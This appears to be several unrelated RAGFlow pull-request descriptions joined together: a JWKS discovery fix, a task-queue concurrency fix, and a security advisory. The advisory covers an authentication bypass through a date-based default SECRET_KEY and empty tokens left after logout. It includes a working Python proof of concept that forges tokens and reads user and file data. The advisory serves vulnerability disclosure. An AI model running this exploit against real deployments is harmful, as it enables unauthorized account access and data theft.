Issue: #8051

The current implementation assumes JWKS endpoints follow the standard
`/.well-known/jwks.json` convention. This breaks authentication for OIDC
providers that use non-standard JWKS paths, resulting in 404 errors
during token validation.

Root Cause Analysis
- The OpenID Connect specification doesn't mandate a fixed path for JWKS
endpoints
- Some identity providers (like certain Keycloak configurations) use
custom endpoints
- Our previous approach constructed JWKS URLs by convention rather than
discovery

### Solution Approach
Instead of constructing JWKS URLs by appending to the issuer URI, we
now:
1. Properly leverage the `jwks_uri` from the OIDC discovery metadata
2. Honor the identity provider's actual configured endpoint

```python
# Before (fragile approach)
jwks_url = f"{self.issuer}/.well-known/jwks.json"

# After (standards-compliant)
jwks_cli = jwt.PyJWKClient(self.jwks_uri)  # Use discovered endpoint
```

Currently, as long as there are tasks in Redis, this loop will keep
getting the tasks. This will lead to a single task executor with many
tasks in the pending state. Then we need to wait for the pending tasks
to get them back in the queue.

In first place, if we set the `MAX_CONCURRENT_TASKS` to X, then only X
tasks should be picked from the queue, and others should be left in the
queue for other `task_executors` or be picked after 1 of the spots in
the current executor gets free. This PR ensures this behavior.

The additional changes were due to the Ruff linting in pre-commit. But I
believe these are expected to keep the coding style.

### Description

There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.

The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.


### Source - Sink Analysis

**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token

**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token

### Proof of Concept

```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys

def exploit_ragflow(target):
    # Generate token with predictable key
    daily_key = str(date.today())
    serializer = URLSafeTimedSerializer(secret_key=daily_key)
    malicious_token = serializer.dumps("")
    
    print(f"Target: {target}")
    print(f"Secret key: {daily_key}")
    print(f"Generated token: {malicious_token}\n")
    
    # Test endpoints
    endpoints = [
        ("/v1/user/info", "User profile"),
        ("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
    ]
    
    auth_headers = {"Authorization": malicious_token}
    
    for path, description in endpoints:
        print(f"Testing {description}...")
        response = requests.get(f"{target}{path}", headers=auth_headers)
        
        if response.status_code == 200:
            data = response.json()
            if data.get("code") == 0:
                print(f"SUCCESS {description} accessible")
                if "user" in path:
                    user_data = data.get("data", {})
                    print(f"  Email: {user_data.get('email')}")
                    print(f"  User ID: {user_data.get('id')}")
                elif "file" in path:
                    files = data.get("data", {}).get("files", [])
                    print(f"  Files found: {len(files)}")
            else:
                print(f"Access denied")
        else:
            print(f"HTTP {response.status_code}")
        print()

if __name__ == "__main__":
    target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
    exploit_ragflow(target_url)
```

**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
